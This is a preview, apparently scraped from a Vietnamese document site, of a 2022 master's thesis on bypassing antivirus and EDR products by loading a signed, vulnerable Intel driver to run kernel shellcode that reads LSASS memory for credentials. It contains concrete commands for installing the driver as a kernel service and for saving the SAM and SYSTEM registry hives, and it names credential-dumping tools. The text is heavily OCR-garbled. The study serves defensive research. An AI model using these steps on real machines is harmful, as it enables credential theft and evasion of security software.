1. Trang chủ
  2. » Luận Văn - Báo Cáo

Luận văn thạc sĩ Khoa học máy tính: Nghiên cứu kỹ thuật tấn công Bypass các phần mềm bảo mật thông qua việc khai thác các driver lỗi trên hệ điều hành Windows

56 3 0
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Nghiên cứu kỹ thuật tấn công Bypass các phần mềm bảo mật thông qua việc khai thác các driver lỗi trên hệ điều hành Windows
Tác giả Phạm Hữu Danh
Người hướng dẫn PGS.TS. Vũ Thanh Nguyên
Trường học Trường Đại học Công nghệ Thông tin
Chuyên ngành Khoa học máy tính
Thể loại Luận văn thạc sĩ
Năm xuất bản 2022
Thành phố TP. Hồ Chí Minh
Định dạng
Số trang 56
Dung lượng 27,49 MB

Nội dung

LỜI CAM ĐOANTôi cam đoan luận văn về đề tài “Nghiên cứu kỹ thuật tắn công bypass các phần mềm bảo mật thông qua việc khai thác các driver lỗi trên hệ điều hành Windows” là công trình do

Trang 1

ĐẠI HOC QUOC GIA TP HCM TRƯỜNG ĐẠI HỌC CÔNG NGHỆ THÔNG TIN

CÁC DRIVER LOI TREN HỆ DIEU HANH WINDOWS

LUẬN VĂN THAC SĨ

Trang 2

Tôi xin gửi lời cảm ơn chân thành nhất đến PGS TS Vũ Thanh Nguyên Tôi chân thành

biết ơn và cảm ơn thầy vì những chỉ dẫn vô giá, những hướng dẫn giá trị và những động lực từ tinh thần nghiên cứu liên tục của thầy Nhờ sự giảng day và những kinh nghiệm

của thầy trong lĩnh vực khóa học máy tính đã giúp tôi có được những kiến thức đầy giátrị và niềm đam mê trong công việc nghiên cứu Thay là nguồn cảm hứng của tôi quanhững trở ngại trong thời gian làm khóa luận tốt nghiệp Nếu không có sự giúp đỡ của

thầy, tôi sẽ không thể hoàn thành khóa luận này.

Tôi cũng gửi lời cảm ơn đến anh Mai Viết Tiệp giúp đỡ tôi trong việc công bố bàibáo tại hội nghị khoa học quốc tế Future Data and Security Engineering lần thứ 8, năm

2021.

Cuối cùng, tôi xin cảm ơn gia đình đã động viên và hỗ trợ lúc tôi cần Tôi mãi biết

ơn tình yêu vô điều kiện của họ

Trang 3

LỜI CAM ĐOAN

Tôi cam đoan luận văn về đề tài “Nghiên cứu kỹ thuật tắn công bypass các phần mềm

bảo mật thông qua việc khai thác các driver lỗi trên hệ điều hành Windows” là công trình

do tôi nghiên cứu, dưới sự hướng dẫn của PGS.TS Vũ Thanh Nguyên Kết quả nghiên

cứu được công bồ trong báo cáo là trung thực

Tôi xin hoàn toàn chịu trách nhiệm về công trình nghiên cứu của mình.

TP Hà Chí Minh, ngày 13 tháng 7 năm 2022

Học viên thực hiện

Phạm Hữu Danh

Trang 4

LOI CAM DOAN

MUC LUC

DANH MỤC CÁC HÌNH ẢNH 222222£22222222222222222211122 22221111 rrrrrrrkkvv 7TOM TAT KHOA LUẬN 2 ©22£+2EE+2£EEEE+EEEEEEE22221112221111227111227112 212 8Chương 1: TONG QUAN - 2222 2222222922222222221111111221211111111.22711111111 1211 1e 9

2.1.2 Driver Signature Enforcement

2.1.3 Driver chứa lỗ hong có chữ ký hợp lệ ccccccccccccccccc:+zzztssrez 14

2.3 Ngữ cảnh người dùng và ngữ cảnh kernel . 5-55 c5cc+scxzxerescee 14 2.3.1 Ngữ cảnh người dùng - - ¿5c 5c eteskerererrrrrrrerrrrrrrrrree 14

2.3.2 Ngữ cảnh Kernel c+ x2 vcxttrrrrvtrrrrrrrrrrrrrrrrrrrrrrrrrrirrrrrrrrrrrrer 15 2.4 Windows APPI cà tt HH1 re 15 2.5 Shellcode

2.4 Trích xuất thông tin đăng nhập . -22v222222222cc+vccrrrrrrrrrrrrrrrrrre 17 2.4.1 Bộ nhớ của tiến trình LSASS 22sccccstreecerrreeerrrrererrre 18

2.2 CƠ SO Git HIỂU SAI ¿¿.,,22,25,;49429940313112441213331303195520117922951419331111591511244411119175011Ấ6 18

Trang 5

3.3 Khai thác driver lỗi

3.3.1 Đọc và ghi bộ nhớ physical

3.3.2 Cách gọi shellcode thực thi từ ngữ cảnh người dùng 24

3.3.3 Phát triển shellcode đọc bộ nhớ của tiến trình :::-: : ++ 26

3.3.4 Kết hợp các kỹ thuật dé gọi shellcode

3.3.4 Đọc bộ nhớ tiến trình LSASS và trích xuất thông tin đăng nhập 29

Chương 4: THỰC NGHIỆM VÀ DANH GIÁ : ¿++££22222222222222222Evvvre 30 4.1 Thiết lặp môi trường -222222222222222222 222 rttttttttEEEEE21211111EEErrkrrrres 30 4.2 Kết qua tHỰC H@lHQWS óc c2 c6 2.06 006 S22 06090 S2

4.3 Đánh gia $B143993315431151431591191312191354931794314151591185941119174101391918541449183:2 207

4.4 Phương pháp giảm thiểu rủi rO -.222222+c2222222222tttEEEEEEvvrrrrrttrtrrrrrrrrrrrres 34

Chương 5: TONG KET iccccccsscsssssssssscsscssscssssssssssssssssssssssssssinsssssesssscceesessseessseesssssesssseess 35 5.1 Két quả dat duo

5.2 Hướng phát trién tương lai

TAI LIEU THAM KHẢ!

Trang 6

Hình 1 Giới thiệu về device driver

Hình 2 Ví dụ về tính năng Driver Signature Enforcemert -.::+:-+ 13

Hình 3 Tổng quan về kỹ thuật được đề xuất trong ba bước -:: -:-+ 20

Hình 4 Cài đặt driver với các lệnh sc.exe Hình 5 Ánh xa địa chỉ bộ nhớ physical sang địa chỉ bộ nhớ virtual - 2

Hình 6 Sao chép dữ liệu giữa hai vùng nhớ physical 5-5 c5cscccsxerxee 23 Hình 7 Giải phóng ánh xạ của địa chỉ bộ nhớ physical - ¿52 555 +<<+ 23 Hình 8 Doc dữ liệu từ vùng nhớ physical -¿- ¿5+ 5+ccx+csrsrrerxerxerxerrrree 24 Hình 9 Ghi dữ liệu vào vùng nhớ physical Hình 10 Tìm vị trí của NtShutdownSystem trong bộ nhớ physical 25

Hình 11 Shellcode 64-bit hỗ trợ gọi MmCopy VirtualMemory -. - 26

Hình 12 Shellcode 64-bit hỗ trợ gọi PsLookupProcessByProcessld 27

Hình 13 Shellcode 32-bit hỗ trợ gọi MmCopyVirtualMemory . - 27

Hình 14 Shellcode 32-bit hỗ trợ gọi PsLookupProcessByProcessld 28

Hình 15 Cách sử dụng shellcode để gọi WinAPI MmCopyVirtualMemory 29

Hình 16 Hình 17 Hình 18. Phương pháp đề xuất đã bypass Microsoft Defender Phương pháp đề xuất đã bypass Kaspersky Total Security 202 31 Phương pháp dé xuất đã bypass McAfee Total Protection 202 Hình 19 Phuong pháp dé xuất đã bypass Trend Micro Maximum Security 2021 32

Hình 20 Phương pháp đề xuất đã bypass Malwarebytes Premium - 33

Trang 7

TOM TAT KHOA LUẬN

Device driver, gọi tắt là driver, là một chương trình đóng vai trò thiết yếu với hệ điều

hành, giúp điều khién thiết bị ngoại vi được kết nói với máy tính Những lỗ hồng trong

các driver thường gây những hậu quả nghiêm trọng, nên chúng luôn là mục tiêu của các

nhà nghiên cứu tìm lỗ hồng (bug hunter) Nhiều lỗ hồng đã được phát hiện và báo cáotrong nhiều năm qua Tuy nhiên số lượng lỗ hồng mới vẫn tăng lên hàng năm do sự rađời của nhiều driver mới

Mặc dù các phiên bản mới của driver sẽ được sửa lỗi, những phiên bản cũ vẫn lànhững chương trình lành tính (benign program) với những chữ ký số hợp lệ Nên chúngđược tin tưởng và cho phép chạy bởi các phần mềm bảo mật (Trong nghiên cứu này,

chúng tôi hướng đến chủ yếu là các phần mềm diệt virus và các phần mềm Endpoint Detection and Response) Các kẻ xấu trên không gian mạng có thể sử dụng những phiên bản driver cũ, không an toàn dé bypass (qua mặt) các phần mềm bao mật, thực hiện

những hành vi nguy hiểm cho người ding

Nghiên cứu nay trình bày một phương pháp tan công bypass nhiều phần mềm bảo

mật phổ biến hiện nay, thông qua việc sử dụng một phiên bản cũ từ năm 2012 của Intel

Network Adapter Diagnostic Driver Chúng tôi đã thành công thu thập được các thông

tin đăng nhập từ bộ nhớ máy tính mà không nhận bất kỳ thông báo hay cảnh báo nào từcác phần mềm diệt virus

Bằng việc minh chứng bypass hầu hết các sản phẩm bảo mật hiện nay với một driver

cũ, kết quả của chúng tôi giúp nâng cao nhận thức về mối de dọa tiềm ẩn từ driver lỗi và kêu gọi việc phát triển các cơ chế chồng lại kỹ thuật tan công này Chúng tôi cũng chỉ ra

các điểm đặc trưng trong kỹ thuật tan công và phương pháp giúp giảm thiểu rủi ro

Trang 8

Chương 1:

TONG QUAN

Chương 1 trình bày tổng quan về kỹ thuật sử dung các phiên bản driver lỗi

để bypass các phan mém bảo mật trên hệ điều hành Windows; liệt kê các

nghiên cứu học thuật và các bài viết kỹ thuật có liên quan; trình bày cụ thể

các mục tiêu chính của nghiên cứu.

1.1 Giới thiệu

Device driver, gọi tắt là driver, là một thành phần giúp kết nói giữa hệ điều hành và thiết

bị ngoại vi Driver thường được phát triển bởi công ty liên quan thiết kế phần cứng thiết

bị, ví dụ, hầu hết các driver đồ họa ngày nay được Nvidia và AMD phát triển Trong cácphiên bản hệ điều hành Windows mới hiện nay, một tính năng tích hợp sẵn được gọi là

Driver Signature Enforcement (DSE) đảm bảo chỉ những driver có chữ ký số hợp lệ từ các nhà cung cấp đáng tin cậy mới được hoạt động [1] Cơ chế này giúp chặn các phần

mềm độc hại xâm nhập vào Windows kernel và thực hiện hành vi có hại cho người dùng

Do có sự bảo vệ của tính năng DSE, các kẻ xấu trên không gian mạng chuyền hướngsang việc tim ra lỗ hồng trong driver có chữ ký số hợp lệ đề có thé thực thi mã ở chế độ

kernel Những kẻ tấn công có thé bypass các sản phẩm bảo mật và kiểm soát hệ thống

nếu một lỗ hồng nghiêm trọng được tìm thấy và khai thác Vi dụ, trong một báo cáo gần

đây của công ty SentinelLabs, hàng triệu máy tính của hãng Dell có nguy cơ bị xâm nhập

do năm lỗ hồng nghiêm trọng [2] Do đó, nhiều chương trình khen thưởng đã được tổ chức đề khuyến khích các nhà nghiên cứu bảo mật tìm kiếm, phát hiện sớm và gửi báo cáo về các lỗ héng bảo mật Các báo cáo này giúp các nhà sản xuất vá các lỗi bảo mật trước khi chúng bị kẻ xấu tìm thấy và sử dụng.

Tuy nhiên, thay vì tìm ra các lỗ hong mới, tin tặc đã phân tích lại các báo cáo về lỗ

hồng cũ và lạm dụng driver lỗi để thực thi mã Có rất nhiều bằng chứng cho thấy các tin tặc đã sử dụng cách tiếp cận này Ví dụ đầu tiên là Turla Group, một tác nhân nguy hại

Trang 9

Chương 1: Tổng Quan

(threat actor) nổi tiếng được cho là có trụ sở ở Nga, đã sử dụng driver của phần mềm

VirtualBox dé vô hiệu hóa tính năng DSE để có thể sử dụng một driver độc hại không

có chữ ký vào năm 2014 Việc khai thác này sử dụng một lỗ hong có từ năm 2008, được

công bé dưới tên gọi CVE-2008-3431 [3] Ví dụ gần đây, vào năm 2020, các nhà nghiên

cứu từ công ty bảo mật ESET báo cáo rằng nhóm hacker InvisiMole đã sử dụng mộtdriver lỗi để nhắm mục tiêu vào các tổ chức quân sự và ngoại giao ở Đông Âu [4] Kỹ

thuật này cũng đã được sử dụng bởi nhóm Slingshot APT (Advanced Persistent Threat)

và đã được công ty bao mật Kaspersky báo cáo vào năm 2018 [5].

1.2 Những nghiên cứu liên quan

Tại thời điểm thực hiện nghiên cứu này, có rất ít công trình khoa học được công bố vềcác kỹ thuật bypass các sản phẩm bảo mật, cũng như là về việc khai thác các driver bị

lỗi Nỗi bật trong số đó là công trình nghiên cứu của Blaauwendraad và các đồng tác giả vào năm 2020 [6], họ sử dụng một driver có chữ ký số hợp lệ của công cụ Mimikatz để

vô hiệu hoá tính năng của chương trình diệt virus Windows Defender Tuy nhiên, họ chỉ tập trung vào một chương trình Windows Defender và sử dụng một driver được phát

triển riêng cho việc tấn công bảo mật Bên cạnh đó, vào năm 2021, Karantzas và Patsakis

đã công bố một nghiên cứu đánh giá về các hệ thống Endpoint Detection and Response

(EDR) trong việc chống lại các cuộc tan công của Advanced Persistent Threats (APT)[7] Họ đã mô phỏng việc khai thác các driver lỗi để sử dụng một driver chưa được ký

hoặc vô hiệu hoá các chức năng phòng vệ Hau hết các sản phẩm bảo mật hiện nay đã

phát hiện phương pháp này ảnh báo cho người dùng.

Mặt khác, hiện nay lại có rất nhiều blog kỹ thuật được viết bởi các tác giả ân danh.Tir năm 2019 đến năm 2020, một nhà nghiên cứu độc lập có tên _xeroxz đã xuất ban hai

dự án liên quan đến việc khai thác các driver trên hệ điều hành Windows [8, 9] Tác giả

chủ yếu tập trung vào việc sử dụng quyền đọc và ghi bộ nhớ vật lý để ánh xạ mã tuỳ ý vào Windows kernel Những bài viết này đã giúp chúng tôi hiểu thêm về kỹ thuật thực thi mã ở kernel Ngoài ra, một công cụ mã nguồn mở có tên KDMapper sử dụng phiên

Trang 10

bản bị lỗi của driver Intel để ánh xạ một driver tuỳ ý lên bộ nhớ [10], tuy nhiên, công cụnày chỉ hỗ trợ các phiên bản 64-bit của Windows OS.

1.3 Mục tiêu

Nghiên cứu này được thực hiện để nghiên cứu các kỹ thuật khai thác các driver lỗi Từ

đó chỉ ra những điểm đặc trưng của kỹ thuật này dé xây dựng phương pháp giảm thiểurủi ro Bên cạnh đó, chúng tôi cũng đặt mục tiêu tìm ra những hướng tiếp cận mới trong

của kỹ thuật này, những hướng tiếp cận chưa bị được công bé trước đó.

Các mục tiêu cụ thể mà chúng tôi đã đề ra trong đề tài này:

© Nghiên cứu kỹ thuật tan công khai thác các driver lỗi trên hệ điều hành Windows.

Trinh bày một hướng tiếp cận mới của kỹ thuật tan công khai thác các driver lỗi cóthé bypass nhiều phần mềm bảo mật phố biến hiện nay

e_ Trình bày những đặc trưng của kỹ thuật tấn công và đề xuất phương pháp phát hiện sớm để giảm thiéu rủi ro.

Trang 11

Chương 2: Lý Thuyết

Chương 2:

LÝ THUYET

Chương 2 trình bày các lý thuyết có liên quan được sử dụng trong đề tài:

định nghĩa về device driver, Windows API, shellcode và những kỹ thuật trích

xuất thông tin đăng nhập từ bộ nhớ trên hệ điều hành Windows.

2.1 Device driver

2.1.1 Giới thiệu

Device driver, thường được gọi là driver hoặc hardware driver, là chương trình cho phép

một hoặc nhiều thiết bị phần cứng giao tiếp với hệ điều hành của máy tính Nếu thiếudriver, máy tính không thể gửi và nhận dữ liệu chính xác đến các thiết bị phần cứng,

Ứng dụng

Phanmém — Hé diéu hanh

chang hạn như máy in

Phan cứng(thông thường) =

Hình 1 Giới thiệu về device driver

Trang 12

Các thiết bị phần cứng mà hệ điều hành không xác định hoặc có các tính năng mà hệđiều hành không xác định đều yêu cầu driver Một số thiết bị phần cứng và thiết bị ngoại

vi yêu cầu driver như: card mạng, card màn hình, bàn phím, máy in

Nếu driver không được cài đặt, thiết bị có thể không hoạt động bình thường Bên

cạnh đó, có một số thiết bi vẫn có thể hoạt động nếu thiếu driver, nhưng nó không théhoạt động với tất cả tính năng của nó Ví dụ, chuột máy tính thường có thể hoạt động màkhông cần driver, nhưng những nút phụ của nó sẽ không thể hoạt động nếu thiếu driver

Đối với Microsoft Windows, có hai loại driver cơ bản:

¢ User-mode: thực thi trong ngữ cảnh người dùng, chúng thường cung cấp khả năngtương tác giữa ứng dụng và kernel-mode driver hoặc các thành phần khác của hệ

điều hành.

¢ Kernel-mode: thực thi trong ngữ cảnh kernel Khi các tiến trình chạy ở ngữ cảnh

kernel, chúng có quyền truy cập không hạn chế vào phần cứng

2.1.2 Driver Signature Enforcement

Driver Signature Enforcement là một tinh năng có sẵn của các hệ điều hành Windowshiện nay nhằm bảo vệ máy tính của người dùng Nó sẽ chỉ cho phép người dùng sử dụngcác driver đã được ký bởi Microsoft, nhằm ngăn chặn virus và các phần mềm độc hại

khác được thêm vào driver mà người dùng không biết [1].

> TRwPC > DADA(Đ) > UT vie

mimidnssyz emf

TẾ Administrator: Command Prompt o x

General Securty Detals Previous Versions

Sze on deh: 320 KB (2.758 es)

Hinh 2 Vi dy vé tinh nang Driver Signature Enforcement

Trang 13

năm 2019, Jesse và Shkatov đã công bố danh sách hơn 40 driver bị lỗi từ các nhà cung cấp được Microsoft chứng nhận [11].

Các phiên bản driver cũ, chứa lỗ héng vẫn là các chương trình lành tính có chữ ký

điện tử hợp lệ và được phần mềm chống virus tin cậy Tin tặc có thé phân tích các báo cáo và khai thác các driver lỗi dé thực thi mã ở kernel Các lỗ hồng thường gặp trong

kernel driver bao gồm:

1 Không kiểm tra dé hạn chế quyền truy cập vào các thanh ghi quan trọng

2 Cho phép ánh xạ bộ nhớ physical từ chế độ người dùng dé đọc và ghi

3 Cho phép truy cập bộ nhớ virtual kernel từ chế độ người dùng dé đọc và ghi

Nghiên cứu này khai thác lỗ hông thường gặp sé 2, cho phép ánh xạ bộ nhớ physical

từ chế độ người dùng để đọc và ghi

2.3 Ngữ cảnh người dùng và ngữ cảnh kernel

Bộ xử lý trong máy tính chạy Windows có hai ngữ cảnh khác nhau, người dùng (user

mode) và kernel mode Bộ xử lý chuyền đổi giữa hai ngữ cảnh tùy thuộc vào loại mã nào

đang chạy trên bộ xử lý Các ứng dụng thường chạy ở ngữ cảnh người dùng và các thànhphần hệ điều hành cốt lõi thường chạy ở ngữ cảnh kernel Các driver chạy ở ngữ cảnhkernel, nhưng cũng có một sé driver có thể chạy ở ngữ cảnh người dùng

2.3.1 Ngữ cảnh người dùng

Khi người dùng khởi động ứng dụng ở ngữ cảnh người dùng, Windows sẽ tạo một tiếntrình cho ứng dụng Tiến trình này cung cấp cho ứng dụng một không gian virtual riêng

Trang 14

(virtual address space) và một bảng băm (handle table) riêng Bởi vì không gian virtualcủa ứng dụng là riêng tư nên một ứng dụng không thể thay đổi dữ liệu thuộc về ứng dụngkhác Mỗi ứng dụng chạy riêng lẻ và nếu một ứng dụng gặp sự có, sự có chỉ giới hạn ở

một ứng dụng đó Các ứng dụng khác và hệ điều hành không bị ảnh hưởng bởi sự có.

Ngoài khả năng độc lập, không gian địa chỉ virtual của một ứng dụng ở ngữ cảnhngười dùng bị hạn chế truy cập Bộ xử lý chạy ở chế độ người dùng không thể truy cậpcác địa chỉ bộ nhớ virtual được dành riêng cho hệ điều hành Việc giới hạn không gian

địa chỉ virtual của ứng dụng ở chế độ người dùng sẽ ngăn ứng dụng thay đổi và có thể làm hỏng đữ liệu quan trọng của hệ điều hành.

bàn phím Phiên bản gần đây nhát (tính đến năm 2007) là Win32 API.

Microsoft duy trì một thư viện để cung cấp các thông tin hỗ trợ dành cho nhà cácphát triển dé lập trình sử dụng WinAPI [12] Chức năng được cung cấp bởi WindowsAPI có thể được nhóm thành tám loại:

¢ Dich vụ cơ bản (Base Services): Cung cấp quyền truy cập vào các tài nguyên cơ

bản có sẵn của hệ thống Windows Bao gồm các thứ như hệ thống tỆp, thiết bị,tiến trình và luồng, quyên truy cập vào Windows registry và xử lý lỗi Các hàm

này nằm trong các tệp kernel32.dll và advapi32.dll trên Windows 32 bit.

Trang 15

Chương 2: Lý Thuyết

¢ Dịch vụ nâng cao (Advanced Services): Cung cấp quyền truy cập vào các chức

nâng cao ngoài kernel Bao gồm những thứ như Windows registry, tắt / khởi động lại hệ thống, quản lý tiến trình dịch vụ, quản lý tài khoản người dùng Các hàm

nay nằm trong advapi32.dll và advapires32.dll trên Windows 32-bit

© _ Giao diện đồ họa (Graphics Device Interface): Cung cấp chức năng xuất nội dung

đồ họa ra màn hình, máy in và các thiết bị khác Nó nằm trong gdi32.dll trên

Windows 32 bit.

© Giao diện người dùng (User Interface): Cung cấp chức năng quản ly cửa sé và hầu hết các điều khiển cơ bản, chẳng hạn như các nút và thanh cuộn, nhận đầu vào bằng chuột và bàn phím cũng như các chức năng khác được liên kết với phần

GUI của Windows Đơn vị chức năng này nằm trong user32.dll trên Windows 32bit Ké từ Windows XP, các điều khiển cơ bản nằm trong comctl32.dll, cùng với

các điều khién chung.

e Thư viện hộp thoại chung (Common Dialog Box Library): Cung cấp cho ứngdụng các hộp thoại tiêu chuẩn để mở và lưu tệp, chọn màu và phông chữ Thưviện nằm trong tệp comdlg32.dll trên Windows 32 bit Nó được nhóm trong danh

mục Giao diện người dùng của API.

¢ Thu viện điều khiển chung (Common Control Library): Cấp cho ứng dụng quyền

truy cập vào một số điều khiển nâng cao do hệ điều hành cung cấp Chúng bao gồm thanh trạng thái, thanh tiến trình, thanh công cụ và tab Thư viện nằm trong

tệp DLL có tên comctl32.dll trên Windows 32 bit Nó được nhóm trong danh mục Giao diện người dùng của API.

e Windows Shell: Thanh phan của Windows API cho phép các ứng dụng truy cập

vào chức năng được cung cấp bởi shell của hệ điều hành, cũng như thay đổi vàphát triển nó Thành phan này nằm trong shell32.dll và shlwapi.dll trên Windows

32 bit Nó được nhóm trong danh mục Giao diện người dùng của API.

¢ Dich vụ mang (Network Services): Cấp quyền truy cập vào các khả năng kết nối

mạng khác nhau của hệ điều hành Các thành phần phụ của nó bao gồm NetBIOS,

Winsock, NetDDE, RPC và nhiều thành phan khác.

Trang 16

Bên cạnh đó, vẫn có nhiều API không được cung cấp tài liệu từ Microsoft, nhưngvẫn được các nhà phát triển độc lập phân tích và chia sẻ cho nhau, chúng được gọi là

Undocumented API Nghiên cứu này sử dụng một undocumented Windows API tên là

MmCopyVirtualMemory, hàm này nằm trong ntoskrnl.exe.

2.5 Shellcode

Shellcode là chuỗi mã máy, hoặc các lệnh thực thi, được đưa vào bộ nhớ của máy tínhvới mục đích kiểm soát một chương trình đang chạy Trong một cuộc tắn công máy tính, một trong các bước là chiếm quyền kiểm soát bộ đếm chương trình, bộ đếm này xác định

lệnh tiếp theo sẽ được thực thi Luồng chương trình sau đó có thể được chuyển hướngđến mã đã chèn Mã máy xâm nhập đó được gọi là payload, thường được gọi bằng thuậtngữ shellcode Phương pháp này thường được sử dụng dé cấp cho người tắn công quyền

truy cập bằng cách mở một command shell của hệ điều hành, vì vay các cuộc tấn công

chèn mã thường được gọi là shellcode.

Shellcode thường được viết bằng ngôn ngữ lập trình có quyền truy cập hệ thống cấpthấp như Assembly, C hoặc C ++ Tuy nhiên, tùy thuộc vào lỗ héng được nhắm tới, kẻ

tân công có thê chèn vào các đoạn shellcode của các ngôn ngữ được câp cao như PERL,

JAVA Shellcode có thé được chèn trước, trong hoặc sau khi chiếm quyền điều khiển bộ

đếm chương trình Do đó, shellcode có thể được chứa trong một tệp trên máy được nhắmđến hoặc được truyền qua kết nối mạng trong thời gian thực

2.4 Trích xuất thông tin đăng nhập

Trích xuất thông tin đăng nhập là quá trình lấy thông tin đăng nhập tài khoản và mậtkhẩu, thường ở dạng mã băm (hash) hoặc mật khẩu văn bản rõ ràng, từ hệ điều hành và

phần mềm [13] Việc trích xuất thông tin xác thực thường cho nhiều mật khẩu từ một máy duy nhất, mỗi mật khẩu có thể cung cấp cho hacker quyền truy cập vào các máy

tính khác trên mạng.

Việc trích xuất thông tin đăng nhập phan lớn có thé xảy ra bởi vì các hệ điều hành

đã cố gắng tránh cho người dùng sự bắt tiện khi nhập liên tục mật khẩu của họ Cụ thể,

Trang 17

Chương 2: Lý Thuyết

sau khi người dùng nhập mật khẩu một lần, mật khẩu của họ thường sẽ được lưu trữtrong bộ nhớ, nơi hệ điều hành có thé sử dụng mật khẩu này trong những lần sau dé

chứng thực danh tính của người dùng với các dịch vụ khác trên mạng.

2.4.1 Bộ nhớ của tiến trình LSASS

Kẻ tan công thường có gắng truy cập dé lay thông tin xác thực được lưu trữ trong bộ nhớtiến trình Local Security Authority Subsystem Service (LSASS) Sau khi người dùngđăng nhập, hệ điều hành sẽ tạo và lưu trữ nhiều loại thông tin xác thực trong bộ nhớ tiến

trình LSASS Những tài liệu thông tin xác thực này có thé được truy cập bởi người dùng

có quyền quản trị hoặc những tiến trình có quyền SYSTEM Bởi vì là một kỹ thuật xử

lý dữ liệu bộ nhớ, bộ nhớ của LSASS có thể được trích xuất từ máy tính mục tiêu vàphân tích trên một máy tính khác cục bộ Vì vậy, các phần mềm bảo mật sẽ chặn các

process đọc bộ nhớ của LSASS từ ngữ cảnh người dùng.

Nghiên cứu này tập trung vào phân tích việc đọc bộ nhớ LSASS ở ngữ cảnh ngườidùng thông qua việc khai thác một kernel-mode driver bị lỗi

2.4.2 Cơ sở dir liệu SAM

Tin tặc có thé trích xuất thông tin xác thực từ cơ sở dữ liệu Security Account Manager

(SAM) thông qua các kỹ thuật xử lý bộ nhớ hoặc thông qua Windows Registry, nơi lưu

trữ cơ sở dữ liệu SAM SAM là một tệp cơ sở dữ liệu chứa các tài khoản cục bộ cho máy

tính, thường là những tài khoản được tìm thấy bằng lệnh net user Việc liệt kê cơ sở dữ liệu SAM yêu cầu quyền truy cập mức SYSTEM Một số công cụ có thể được sử dụng

dé trích xuất SAM thông qua các kỹ thuật xử lý bộ nhớ như:

© pwdumpx.exe

© gsecdump

® Mimikatz

© secretsdump.py

Ngoài ra, SAM có thể được trích xuất từ Registry với lệnh reg:

e reg save HKLM\sam sam

e reg save HKLM\system system

Trang 18

2.4.3 LSA Secrets

Tin tặc nếu có quyền SYSTEM của máy tính có thé tim cách dé lấy dữ liệu Local SecurityAuthority (LSA) secrets, có thể chứa nhiều thông tin xác thực khác nhau, chẳng hạn như

thông tin xác thực cho các tài khoản dịch vụ LSA secrets được lưu trữ tại registry ở địa

chỉ HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets LSA secrets cũng có thể bịtrích xuất từ bộ nhớ

2.4.4 Phương pháp DCSync

Với hệ thống Active Directory Domain Controller, kẻ tắn công có thé cố gắng truy cập

thông tin đăng nhập và các thông tin nhạy cảm khác bằng cách khai thác các WindowsAPI dé mô phỏng quá trình sao chép từ một domain controller từ xa bằng kỹ thuật gọi là

DCSync Các người dùng thuộc nhóm Administrators, Domain Admins, và Enterprise

Admin hoặc tài khoản máy tính trên domain controller có thể chạy DCSync để lấy dữ

liệu mật khẩu từ Active Directory

Trang 19

Chương 3: Phương Pháp Đề Xuất

Chương 3:

PHƯƠNG PHAP ĐÈ XUẤT

Chương 3 trình bày cụ thé về phương pháp đề xuất, bao gồm 3 bước chính:

cài đặt driver chứa lỗi, khai thác lỗi để ghỉ shellcode vào kernel và cách

shellcode thực thi để lấy thông tin đăng nhập.

3.1 Tống quan

Thay vì đọc bộ nhớ của tiến trình LSASS từ ngữ cảnh người dùng, chúng tôi sẽ đọc bộ

nhớ từ ngữ cảnh kernel, sau đó gửi nó trở lại tiến trình chính để xử lý Chúng tôi đã phát

triển nhiều đoạn mã shellcode dé thực hiện nhiệm vụ này Chúng là những mã shellcodechạy trong ngữ cảnh kernel và chúng tôi sẽ áp dụng một số kỹ thuật để có thể gọi vànhận kết quả từ ngữ cảnh người dùng

Chúng tôi chia phương pháp đề xuất của mình thành ba bước chính (như Hình 3.):

1 Cài đặt một driver lỗi có chữ ký hợp lệ

2 Khai thác driver dé ghi shellcode vào kernel và gọi chúng từ ngữ cảnh người dùng

3 Thực thi shellcode dé đọc bộ nhớ xử lý LSASS và trả kết quả về tiến trình chính

ở ngữ cảnh người dùng

Bước 1 Bước 2 Bước 3

tác giả tiền trình chính tiên trình chính Cài đặt một driver lỗi có chữ ký

hợp lệ thông qua sc.exe

‘service control manager i [ malall i [ntdlalI

<các xử lý của Windows> i | <iycda API Devicetocontrol> |} - |<xừlý của API NtShutdownSystem

driver manager | [ariver ena lõi i [ntoskrni.exe

cài dat driver chứa lỗi = viết shellcode vào ntoskrnl.exe_ [”'”” shelleode đọc bộ nhớ

6 dia chi của NtShutdownSystem của tiên trình LSASS

Hình 3 Tổng quan về kỹ thuật được đề xuất trong ba bước

Trang 20

Cụ thể, các mã shellcode giúp tiến trình chính sử dụng hai WinAPI

PsLookupProcessByProcessId và MmCopyVirtualMemory Bằng việc kết hợp cácWinAPI này, chúng tôi có khả năng đọc bộ nhớ của bat kỳ tiến trình nào với đặc quyền

của kernel Hơn nữa, chúng tôi ghi đè nội dùng của WinAPI NtShutdownSystem bằng shellcode để làm cho shellcode có thể được sử dụng từ ngữ cảnh người dùng Chúng tôi

phân tích chỉ tiết kỹ thuật ở các phần phụ sau

3.2 Cài đặt driver

Legacy driver được xem là các driver service vì chúng được kiểm soát bởi tiễn trình

Service Control Manager Có hai phương pháp cài đặt thông thường, sử dụng lệnh sc.exe

và gọi các Windows API tương ứng.

Microsoft Windows [Version 19.9.19643.1116]

(c) Microsoft Corporation All rights reserved

C:\ProgranData>sc create iqvw binPath=C:\ProgranData\iqvw6te.sys type=kernel start=auto

[sc] CreateService SUCCESS

C:\ProgranData>sc start iqvw

SERVICE_NAME: iqvw

TYPE + 1 MERNEL_DRIVER STATE 2 RUNNING

(STOPPABLE, NOT_PAUSABLE, TGNORES_SHUTDOWN) WIN32_EXIT_CODE :9 (exe)

SERVICE_EXIT_CODE : @ (6x6)

CHECKPOINT 6x9 MATT_HINT 9x8 PID rỡ FLAGS

Hình 4 Cài đặt driver với các lệnh sc.exe

Chúng tôi chọn phương pháp gọi các lệnh sc.exe (như Hình 4.) vì nó chia quá trìnhkhai thác tông thể thành nhiều bước riêng biệt Sử dụng quá nhiều WinAPI nhạy cảm

trong một quy trình sẽ dễ bị phần mềm chống virus phát hiện trong quá trình khai thác.

3.3 Khai thác driver lỗi

Phần này trình bày chỉ tiết bước 2 trong phương pháp, cách khai thác driver để ghi

shellcode vào kernel và gọi chúng từ ngữ cảnh người dùng.

Trang 21

Chương 3: Phương Pháp Đề Xuất

3.3.1 Doc và ghi bộ nhớ physical

Chúng tôi sử dụng lỗ hồng được công bố trong báo cáo CVE-2015-2291 [14] Mã khai

